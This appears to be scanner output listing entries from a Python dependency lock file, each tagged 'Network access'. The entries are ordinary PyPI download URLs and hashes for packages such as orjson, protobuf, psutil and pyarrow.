{ url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9 - Network accessline 1854
{ url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e - Network accessline 1855
{ url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef - Network accessline 1856
{ url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c694 - Network accessline 1857
{ url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size - Network accessline 1858
{ url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", - Network accessline 1859
{ url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", - Network accessline 1860
{ url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7 - Network accessline 1861
{ url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c6730712 - Network accessline 1862
{ url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474 - Network accessline 1863
{ url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f - Network accessline 1864
{ url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a6 - Network accessline 1865
{ url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf - Network accessline 1866
{ url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a17 - Network accessline 1867
{ url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8 - Network accessline 1868
{ url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d12322 - Network accessline 1869
{ url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a0 - Network accessline 1870
{ url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a - Network accessline 1871
{ url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39 - Network accessline 1872
{ url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size - Network accessline 1873
{ url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", - Network accessline 1874
{ url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", - Network accessline 1875
{ url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc2 - Network accessline 1876
{ url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a - Network accessline 1877
{ url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507c - Network accessline 1878
{ url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc1 - Network accessline 1879
{ url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f - Network accessline 1880
{ url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78 - Network accessline 1881
{ url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c8 - Network accessline 1882
{ url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f - Network accessline 1883
{ url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b - Network accessline 1884
{ url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d21 - Network accessline 1885
{ url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741 - Network accessline 1886
{ url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847 - Network accessline 1887
{ url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size - Network accessline 1888
{ url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", - Network accessline 1889
{ url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", - Network accessline 1893
name = "packaging" version = "26.2" source = { registry = "https://pypi.org/simple" } - Network accessline 1894
version = "26.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3 - Network accessline 1895
source = { registry = "https://pypi.org/simple" } - Network accessline 1896
sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228 - Network accessline 1897
wheels = [ { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0 - Network accessline 1898
{ url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 1 - Network accessline 1902
name = "pluggy" version = "1.6.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1903
version = "1.6.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b762 - Network accessline 1904
source = { registry = "https://pypi.org/simple" } - Network accessline 1905
sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412 - Network accessline 1906
wheels = [ { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd47 - Network accessline 1907
{ url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 205 - Network accessline 1911
name = "portalocker" version = "3.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1912
version = "3.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1913
source = { registry = "https://pypi.org/simple" } - Network accessline 1915
{ name = "pywin32", marker = "sys_platform == 'win32'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/5e/77/65b857a69ed876e1951e88aaba60f5ce6120c33703f7cb61a3c894b8c1b6/portalocker-3.2.0.tar.gz", hash = "sha256:1f3002956a54a8 - Network accessline 1916
] sdist = { url = "https://files.pythonhosted.org/packages/5e/77/65b857a69ed876e1951e88aaba60f5ce6120c33703f7cb61a3c894b8c1b6/portalocker-3.2.0.tar.gz", hash = "sha256:1f3002956a54a8c3730586c5c77bf18fae4149e07eaf1c29fc3faf4d5a3f89ac", size - Network accessline 1917
sdist = { url = "https://files.pythonhosted.org/packages/5e/77/65b857a69ed876e1951e88aaba60f5ce6120c33703f7cb61a3c894b8c1b6/portalocker-3.2.0.tar.gz", hash = "sha256:1f3002956a54a8c3730586c5c77bf18fae4149e07eaf1c29fc3faf4d5a3f89ac", size = - Network accessline 1918
wheels = [ { url = "https://files.pythonhosted.org/packages/4b/a6/38c8e2f318bf67d338f4d629e93b0b4b9af331f455f0390ea8ce4a099b26/portalocker-3.2.0-py3-none-any.whl", hash = "sha256:3cdc5f565312224bc570c49337bd21428bba0ef363bbcf58b9ef4a9f1 - Network accessline 1919
{ url = "https://files.pythonhosted.org/packages/4b/a6/38c8e2f318bf67d338f4d629e93b0b4b9af331f455f0390ea8ce4a099b26/portalocker-3.2.0-py3-none-any.whl", hash = "sha256:3cdc5f565312224bc570c49337bd21428bba0ef363bbcf58b9ef4a9f11779968", size - Network accessline 1923
name = "proto-plus" version = "1.28.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1924
version = "1.28.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1925
source = { registry = "https://pypi.org/simple" } - Network accessline 1927
{ name = "protobuf" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c9/56/e647b0c675392d2da368da7b6f158f7368b18542fd6f7d7400a2f39de000/proto_plus-1.28.0.tar.gz", hash = "sha256:38e5696342835b08fc116f30a25665b29531cda9d5d5643e9 - Network accessline 1928
] sdist = { url = "https://files.pythonhosted.org/packages/c9/56/e647b0c675392d2da368da7b6f158f7368b18542fd6f7d7400a2f39de000/proto_plus-1.28.0.tar.gz", hash = "sha256:38e5696342835b08fc116f30a25665b29531cda9d5d5643e9b81fc312385abd9", size - Network accessline 1929
sdist = { url = "https://files.pythonhosted.org/packages/c9/56/e647b0c675392d2da368da7b6f158f7368b18542fd6f7d7400a2f39de000/proto_plus-1.28.0.tar.gz", hash = "sha256:38e5696342835b08fc116f30a25665b29531cda9d5d5643e9b81fc312385abd9", size = - Network accessline 1930
wheels = [ { url = "https://files.pythonhosted.org/packages/7c/20/b122d4626976acb81132036d2ad1bb35a1a8775fceb837ec30964622516a/proto_plus-1.28.0-py3-none-any.whl", hash = "sha256:a630604310899e73c59ec302e5765c058d412b2f090b9c79c8822589f - Network accessline 1931
{ url = "https://files.pythonhosted.org/packages/7c/20/b122d4626976acb81132036d2ad1bb35a1a8775fceb837ec30964622516a/proto_plus-1.28.0-py3-none-any.whl", hash = "sha256:a630604310899e73c59ec302e5765c058d412b2f090b9c79c8822589f14955b8", size - Network accessline 1935
name = "protobuf" version = "7.34.1" source = { registry = "https://pypi.org/simple" } - Network accessline 1936
version = "7.34.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/6b/6b/a0e95cad1ad7cc3f2c6821fcab91671bd5b78bd42afb357bb4765f29bc41/protobuf-7.34.1.tar.gz", hash = "sha256:9ce4224 - Network accessline 1937
source = { registry = "https://pypi.org/simple" } - Network accessline 1938
sdist = { url = "https://files.pythonhosted.org/packages/6b/6b/a0e95cad1ad7cc3f2c6821fcab91671bd5b78bd42afb357bb4765f29bc41/protobuf-7.34.1.tar.gz", hash = "sha256:9ce42245e704cc5027be797c1db1eb93184d44d1cdd71811fb2d9b25ad541280", size = 45 - Network accessline 1939
wheels = [ { url = "https://files.pythonhosted.org/packages/ec/11/3325d41e6ee15bf1125654301211247b042563bcc898784351252549a8ad/protobuf-7.34.1-cp310-abi3-macosx_10_9_universal2.whl", hash = "sha256:d8b2cc79c4d8f62b293ad9b11ec3aebce9af48 - Network accessline 1940
{ url = "https://files.pythonhosted.org/packages/ec/11/3325d41e6ee15bf1125654301211247b042563bcc898784351252549a8ad/protobuf-7.34.1-cp310-abi3-macosx_10_9_universal2.whl", hash = "sha256:d8b2cc79c4d8f62b293ad9b11ec3aebce9af481fa73e64556969f - Network accessline 1941
{ url = "https://files.pythonhosted.org/packages/eb/9d/aa69df2724ff63efa6f72307b483ce0827f4347cc6d6df24b59e26659fef/protobuf-7.34.1-cp310-abi3-manylinux2014_aarch64.whl", hash = "sha256:5185e0e948d07abe94bb76ec9b8416b604cfe5da6f871d67aad30c - Network accessline 1942
{ url = "https://files.pythonhosted.org/packages/92/e8/d174c91fd48e50101943f042b09af9029064810b734e4160bbe282fa1caa/protobuf-7.34.1-cp310-abi3-manylinux2014_s390x.whl", hash = "sha256:403b093a6e28a960372b44e5eb081775c9b056e816a8029c61231743 - Network accessline 1943
{ url = "https://files.pythonhosted.org/packages/53/1b/3b431694a4dc6d37b9f653f0c64b0a0d9ec074ee810710c0c3da21d67ba7/protobuf-7.34.1-cp310-abi3-manylinux2014_x86_64.whl", hash = "sha256:8ff40ce8cd688f7265326b38d5a1bed9bfdf5e6723d49961432f83e - Network accessline 1944
{ url = "https://files.pythonhosted.org/packages/85/29/64de04a0ac142fb685fd09999bc3d337943fb386f3a0ec57f92fd8203f97/protobuf-7.34.1-cp310-abi3-win32.whl", hash = "sha256:34b84ce27680df7cca9f231043ada0daa55d0c44a2ddfaa58ec1d0d89d8bf60a", siz - Network accessline 1945
{ url = "https://files.pythonhosted.org/packages/4d/87/cb5e585192a22b8bd457df5a2c16a75ea0db9674c3a0a39fc9347d84e075/protobuf-7.34.1-cp310-abi3-win_amd64.whl", hash = "sha256:e97b55646e6ce5cbb0954a8c28cd39a5869b59090dfaa7df4598a7fba869468c", - Network accessline 1946
{ url = "https://files.pythonhosted.org/packages/88/95/608f665226bca68b736b79e457fded9a2a38c4f4379a4a7614303d9db3bc/protobuf-7.34.1-py3-none-any.whl", hash = "sha256:bb3812cd53aefea2b028ef42bd780f5b96407247f20c6ef7c679807e9d188f11", size = - Network accessline 1950
name = "psutil" version = "7.2.2" source = { registry = "https://pypi.org/simple" } - Network accessline 1951
version = "7.2.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d40 - Network accessline 1952
source = { registry = "https://pypi.org/simple" } - Network accessline 1953
sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 49374 - Network accessline 1954
wheels = [ { url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68f - Network accessline 1955
{ url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa - Network accessline 1956
{ url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef - Network accessline 1957
{ url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c9 - Network accessline 1958
{ url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e89198 - Network accessline 1959
{ url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", - Network accessline 1960
{ url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", - Network accessline 1961
{ url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313d - Network accessline 1962
{ url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb - Network accessline 1963
{ url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcd - Network accessline 1964
{ url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a - Network accessline 1965
{ url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", - Network accessline 1966
{ url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", - Network accessline 1967
{ url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d - Network accessline 1968
{ url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c169 - Network accessline 1969
{ url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd48 - Network accessline 1970
{ url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f - Network accessline 1971
{ url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f - Network accessline 1972
{ url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61 - Network accessline 1973
{ url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", siz - Network accessline 1974
{ url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", siz - Network accessline 1978
name = "pyarrow" version = "25.0.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1979
version = "25.0.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/27/f3/95428098d1fa7d04432fb750eed06b41304c2f6a5d3319985e64db2d9d41/pyarrow-25.0.0.tar.gz", hash = "sha256:d2d69700 - Network accessline 1980
source = { registry = "https://pypi.org/simple" } - Network accessline 1981
sdist = { url = "https://files.pythonhosted.org/packages/27/f3/95428098d1fa7d04432fb750eed06b41304c2f6a5d3319985e64db2d9d41/pyarrow-25.0.0.tar.gz", hash = "sha256:d2d697008b5ec06d75952ef260c2e9a8a0f6ccfce24266c04c9c8ade927cb3b4", size = 119 - Network accessline 1982
wheels = [ { url = "https://files.pythonhosted.org/packages/73/44/fdd3a4377807b7dcabe2d4b5aa99dbbc98e2e5df3f1ca4e7f0aec492d987/pyarrow-25.0.0-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:149730a3d1f0fb59d663a0b8aa210adfd9c17c27cd9 - Network accessline 1983
{ url = "https://files.pythonhosted.org/packages/73/44/fdd3a4377807b7dcabe2d4b5aa99dbbc98e2e5df3f1ca4e7f0aec492d987/pyarrow-25.0.0-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:149730a3d1f0fb59d663a0b8aa210adfd9c17c27cd94a0d143e60daea8 - Network accessline 1984
{ url = "https://files.pythonhosted.org/packages/bf/71/9f053177a7709b8c90abb00a2375b916286f9f0d6cfb21a5cadd4ef811e8/pyarrow-25.0.0-cp312-cp312-macosx_12_0_x86_64.whl", hash = "sha256:0721332c30fdd453fdd1fc203b2ac1f4c9db5aea28fa38d41f2574c4b - Network accessline 1985
